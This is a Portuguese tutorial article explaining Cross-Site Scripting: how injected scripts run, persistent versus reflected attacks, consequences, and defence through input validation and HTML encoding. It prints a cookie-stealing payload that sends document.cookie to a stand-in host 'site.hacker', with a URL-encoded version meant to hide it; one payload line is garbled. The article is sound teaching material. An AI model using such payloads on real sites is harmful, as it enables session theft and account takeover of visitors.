Cross-Site Scripting (XSS)

Junho 2017

Como é injetado o código malicioso: o ataque

Os ataques de tipo Cross-Site Scripting (XSS ou CSS) são ataques que visam os sites web que exibem, de forma dinâmica, o conteúdo dos usuários sem verificar ou codificar as informações inseridas por eles. Este tipo de ataque força a página web a mostrar o código HTML ou os comandos inseridos pelos usuários. Consequentemente, o código incluído (injetado) em um site vulnerável é considerado como um código malicioso.

É muito comum que os sites exibam mensagens informativas diretamente, usando um parâmetro digitado pelo usuário. O exemplo mais clássico é o das páginas de erro 404. Certas páginas web alteram o comportamento da mesma, para que ela possa exibir uma mensagem de erro personalizada quando, na verdade, a página solicitada pelo visitante, não existe. Às vezes, a página gerada dinamicamente apresenta o nome de página solicitada. Vamos chamar a página com este erro de 'http://páginaweb.vulnerável'. O pedido do endereço URL da página web 'http://páginaweb.vulnerável/páginainexistente' correspondente a uma página que não existe, vai gerar uma mensagem de erro que indica que a ‘página inexistente’ não existe. Assim sendo, é possível mostrar qualquer conteúdo no site web, substituindo ‘página inexistente’ por qualquer outra cadeia de caracteres. Desta forma, se nenhum controle for efetuado no conteúdo fornecido pelo usuário, é possível exibir um código HTML arbitrário em uma página web para alterar a sua aparência, conteúdo ou comportamento.

Além disso, a maioria dos navegadores pode interpretar as sequências de comandos das páginas web, inclusive em outras linguagens, como JavaScript, VBScript, Java, ActiveX ou Flash. As seguintes tags HTML permitem incorporar sequências de comandos executáveis em uma página web: <SCRIPT>, <OBJECT>, <APPLET> e <EMBED>.

Desta forma, um hacker pode injetar um código arbitrário na página web, para que ele seja executado no computador do usuário, quando este tenta garantir a segurança do site vulnerável. Para isso, basta substituir o valor do texto que será exibido por uma sequência de comandos, para que ele apareça na página web. Sempre que o navegador do usuário estiver configurado para executar tais sequências de comandos, o código malicioso terá acesso a todos os dados compartilhados pela página web e o servidor do usuário (cookies, campos de formulários, etc.).

Quais são as consequências do ataque do código malicioso

Graças a vulnerabilidade das sequências de comandos entre páginas Web, um hacker pode usar este método para recuperar dados compartilhados entre o usuário e a página web visitada. Por exemplo, o código injetado na página pode ser usado para enganar o usuário e fazer com que ele digite informações de autenticação. Além disso, a sequência de comandos injetada pode redirecionar o usuário para una página Web controlada por um hacker, provavelmente com a mesma interface gráfica que a página Web comprometida para enganar o usuário. Neste contexto, a relação de confiança que existia entre o usuário e a página web fica completamente comprometida.

Como evitar os ataques do XSS

Quando os dados introduzidos pelo usuário são armazenados no servidor durante um certo tempo (como no caso de um fórum de discussão, por exemplo), o ataque se chama persistente. Na verdade, todos os usuários do site web acesso à página na qual o código prejudicial foi introduzido.

Os ataques chamados não persistentes referem-se às páginas web dinâmicas nas quais uma variável introduzida pelo usuário é exibida tal qual (por exemplo, a exibição do nome do usuário, da página em curso ou a palavra introduzida num campo de formulário). Para se aproveitar desta vulnerabilidade, o hacker deve fornecer à vítima um URL alterado, dando-lhe o código a ser inserido como parâmetro. No entanto, um URL que contém elementos de código Javascript poderá levantar suspeitas, e é por isso, que na maioria das vezes, este ataque é realizado codificando os dados do endereço URL, para que o código injetado permaneça oculto.

Como age o Cross-Site Scripting

Suponhamos que a página inicial do ‘br.ccm.net’ seja vulnerável a um ataque por sequência de comandos entre páginas web porque uma mensagem de boas-vindas com o nome do usuário como parâmetro pode aparecer:


http://br.ccm.net/?nom=Jeff

Uma pessoa mal-intencionada poderia realizar um ataque Cross-Site Scripting ao dar à vítima um endereço que substitui o nome ‘Jeff’ por um código HTML. Mais especialmente, poderia transferir o seguinte código Javascript, como um parâmetro, para redirecionar o usuário para uma página controlada pelo hacker:

<SCRIPT> document.location='http://site.hacker/cgi-bin/script.cgi http://site.hacker/cgi-bin/script.cgi?%27_document_cookie%5D= </SCRIPT>

O código anterior recupera os cookies do usuário e os envia como parâmetros para um sequência de comandos CGI. O seguinte código transformado como parâmetro seria muito óbvio:

http://br,ccm.net/?nome=<SCRIPT>document.location =' http://site.hacker/cgi-bin/script.cgi?'+document.cookie </SCRIPT>

Em contrapartida, a codificação do endereço URL permite ocultar o ataque:

http://pt.kioskea.net/?nome=%3c%53%43%52%49%50%54%3e%64%6f%63%75%6d%65% 6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74%70%3a%2f%2f%73%69%74% 65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f%73%63%72%69%70%74%2e% 63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f% 53%43%52%49%50%54%3e

Como se dá ataque nas páginas

No exemplo acima, toda a sequência de comandos foi transferida como parâmetro URL. O método GET, que permite enviar os parâmetros ao endereço URL se limita a um comprimento total de 255 caracteres. Graças ao atributo SRC da tag <SCRIPT>, é possível executar o código malicioso armazenado em uma sequência de comandos num servidor remoto! E, já que é possível injetar um código a partir de uma fonte remota, este tipo de ataque é realizado entre páginas web (Cross-Site).

Como garantir a proteção

No que se refere ao usuário, é possível proteger-se contra os ataques CSS configurando os seus navegadores de maneira a bloquear a execução das linguagens de sequências de comandos. Na realidade, esta solução é frequentemente demasiado vinculativa para o usuário porque numerosos sites se recusarão a funcionar corretamente na ausência de possibilidade de execução de um código dinâmico.


A única solução para impedir os ataques CSS consiste em criar páginas web não vulneráveis. Para isso, o designer de um site web deve verificar o formato dos dados introduzidos pelos usuários e codificar os dados visíveis pelo usuário, substituindo os caracteres especiais pelos seus equivalentes em HTML.

O termo 'saneamento"'(sanitation) refere-se a todas as ações que ajudam a proteger os dados inseridos.

Veja também


Cross-Site Scripting attacks
Cross-Site Scripting attacks
Ataques de secuencia de comandos entre páginas Web (XSS)
Ataques de secuencia de comandos entre páginas Web (XSS)
Angriffe Cross-Site Scripting
Angriffe Cross-Site Scripting
XSS - Cross-Site Scripting
XSS - Cross-Site Scripting
XSS - Cross-Site Scripting
XSS - Cross-Site Scripting
Última modificação: 23 de maio de 2017 às 13:15 por ninha25.
Este documento, intitulado ' Cross-Site Scripting (XSS)', está disponível sob a licença Creative Commons. Você pode copiar e/ou modificar o conteúdo desta página com base nas condições estipuladas pela licença. Não se esqueça de creditar o CCM (br.ccm.net) ao utilizar este artigo.